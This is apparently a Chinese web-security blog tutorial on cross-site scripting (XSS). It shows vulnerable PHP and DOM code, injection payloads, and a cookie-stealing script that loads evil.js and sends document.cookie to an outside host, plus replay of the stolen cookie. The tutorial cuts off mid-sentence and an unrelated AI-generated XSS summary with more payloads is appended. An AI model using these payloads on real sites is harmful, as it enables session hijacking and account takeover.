WEB漏洞篇——跨站脚本攻击(XSS)

本文深入探讨了跨站脚本攻击(XSS)的概念、分类及其危害,包括反射型、存储型和DOM XSS的详细解释,并通过实例展示了XSS攻击的技巧和防范措施。同时,介绍了XSS攻击的进阶内容,如Payload设计、XSS攻击平台和防御策略,旨在提高Web开发者对XSS攻击的认识和防御能力。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、XSS简述

1.1 什么是XSS

1.2 XSS分类

1.3 DOM XSS漏洞演示

二、XSS攻击进阶

2.1 初探XSS Payload

2.2 强大的XSS Payload

2.3 XSS攻击平台

2.4 XSS Worm

2.5 XSS构造技巧

2.6 反射型XSS利用技巧-回旋镖

2.7 Flash XSS

2.8 JavaScript开放框架

三、XSS防御

3.1 HttpOnly

3.2 输入检查

3.3 输出检查

3.4 正确地防御XSS

3.5 处理富文本

3.6 防御DOM Based XSS

四、总结


一、XSS简述

XSS攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

跨站脚本攻击(XSS)是客户端安全的头号大敌,OWASP TOP 10多次把xss列在榜首。

1.1 什么是XSS

假设一个用户输入的参数直接输出到页面上

<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>

访问此php界面,想test参数提交数据,页面会展示提交的数据内容

http://192.168.163.131/test.php?test=ceshi

上面我们可以看到和我们猜想的一样。

如果我们提交的数据改为一段js代码

http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>

我们看到script脚本被执行,我们在看一下源代码

<div><script>alert(/test!!!/)</script></div> 

script脚本被加载到页面中,这显然是有问题的。

1.2 XSS分类

XSS根据效果可以分为三类:

反射型XSS

我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。

存储型XSS

存储型xss会把用户输入的数据存储在服务器端,这种sxx具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"

DOM XSS

这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

1.3 DOM XSS漏洞演示

通过修改页面的DOM节点形成的xss,称之为DOM XSS

看如下代码

<script>

function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" οnclick="test()" />

 

点击wirte会有一个超链接,其地址为文本框的内容。

这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。

构造如下数据

' οnclick=alert(/xss/) //

输入之后界面代码局变成了

<a href='' οnclick=alert(/xss/) //' >testLink</a>

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后用注释符“//”注释掉单引号。点击新生连接,脚本将被执行。

实际上,这里还有另外一种利用方式,除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入

'><img src=# onerror=alert(/xss1/) />

 

页面代码变成了

<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>

脚本被执行

二、XSS攻击进阶

2.1 初探XSS Payload

XSS攻击成功后,攻击者能过对用户当前浏览的页面进行植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些以完成各种功能的恶意脚本,被称为“XSS Payload”

XSS Payload实际上就是javascript(flash或其他富客户端的脚本),所以在任何JavaScript脚本能实现的功能,xxs payload都能做到。

2.1.1 Cookie 劫持

cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台

攻击者加载一个远程脚本

http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>

真正xxs payload写在这个远程脚本中,避免直接在url中写入大量的javascript代码

evil.js文件

var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);

这段是插入一个看不到的图片,同时把document.cookie对象当作参数发送到远程服务器。,实际上http://192.168.163.143/log不用存在,因为这个请求会在远程服务器上的web日志中记录

tail -f /var/log/apache2/access.log

2.1.2 cookie登录

首先管理员用户登录cms测试平台

F12在控制台输入

document.cookie

登录test用户,使用burp拦截请求包,将cookie修改为admin用户的cookie

放开拦截,我们发现test变为admin用户

所以xss攻击,可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。

2.2 强大的XSS Payload

ciooke劫持并非所有时候都有效,有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识;有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。

尽管如此,在xss攻击成功后,攻击者仍然有许多方式能控制用户的浏览器

1、构造GET与POST请求

2、使用XSS钓鱼,模拟一个登录窗口等。

3、识别用户浏览器

我们可以通过xss收集一些用户个人信息,实现精准的浏览器内存攻击,最终实现给电脑注入一个木马。

navigator.userAgent

OS版本信息:Windows NT 6.1; Win64; x64
浏览器版本:Chrome 101.0.4951.64

但是这个useragent信息是可以伪造的,所以通过javascript取出来的这个信息不一定正确。

4、识别用户安装的软件

知道用户的浏览器、操作系统后,进一步识别用户安装的软件。

5、CSS History Hack

其原理市利用style的visited属性,如果用户曾经访问某个连接,那么这个链接的颜色会变得与众不同。

<body>
	<a href=# > 曾经访问过的 </a>
	<a href="notexist">未曾访问过的</a>
</body>

6、获取用

### 跨站脚本攻击XSS)实现方法及原理 #### XSS 攻击概述 跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web应用程序安全漏洞,允许攻击者向其他用户的浏览器注入恶意脚本。这些脚本会在受害者的浏览器环境中执行,可能导致敏感信息泄露或其他有害行为的发生[^2]。 #### XSS 的分类 XSS 主要分为三种类型: - **存储型 XSS**:恶意脚本被永久保存在目标服务器上,比如数据库或文件系统中。每当受害者请求含有该脚本的数据时便会触发攻击。 - **反射型 XSS**:通过URL参数、表单输入等方式将恶意代码发送给服务器,再由服务器返回给客户端显示出来,在这个过程中完成攻击过程。 - **DOM 型 XSS**:不同于前两者依赖于服务端响应来传播有效载荷,这类攻击完全发生在客户端侧,即JavaScript直接操作文档对象模型 (Document Object Model),当某些特定条件满足时便能激活预埋下的危险指令[^3]。 #### 实现机制 为了成功实施一次典型的XSS攻击,通常需要以下几个要素协同工作: 1. 找到一个可以接受用户输入的地方; 2. 输入未经过适当验证和清理的内容; 3. 将此未经处理过的数据反馈回HTML页面内展示给最终使用者看到; 一旦上述情况发生,则意味着存在潜在风险点可用于发起进一步行动——例如插入一段`<script>`标签包裹着任意可被执行javascript语句作为payload传入受影响区域等待时机成熟后自动运行起来影响更多无辜浏览者[^4]。 ```html <!-- 反射型XSS示例 --> <a href="http://example.com/search?q=<script>alert('XSS')</script>">点击这里</a> <!-- 存储型XSS示例 --> <textarea name="comment"> <script> alert(document.cookie); </script> </textarea> <!-- DOM型XSS示例 --> <input type="text" id="searchBox"/> <script> document.getElementById("searchBox").value = location.hash.slice(1); // 如果hash包含恶意代码则会立即执行 </script> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值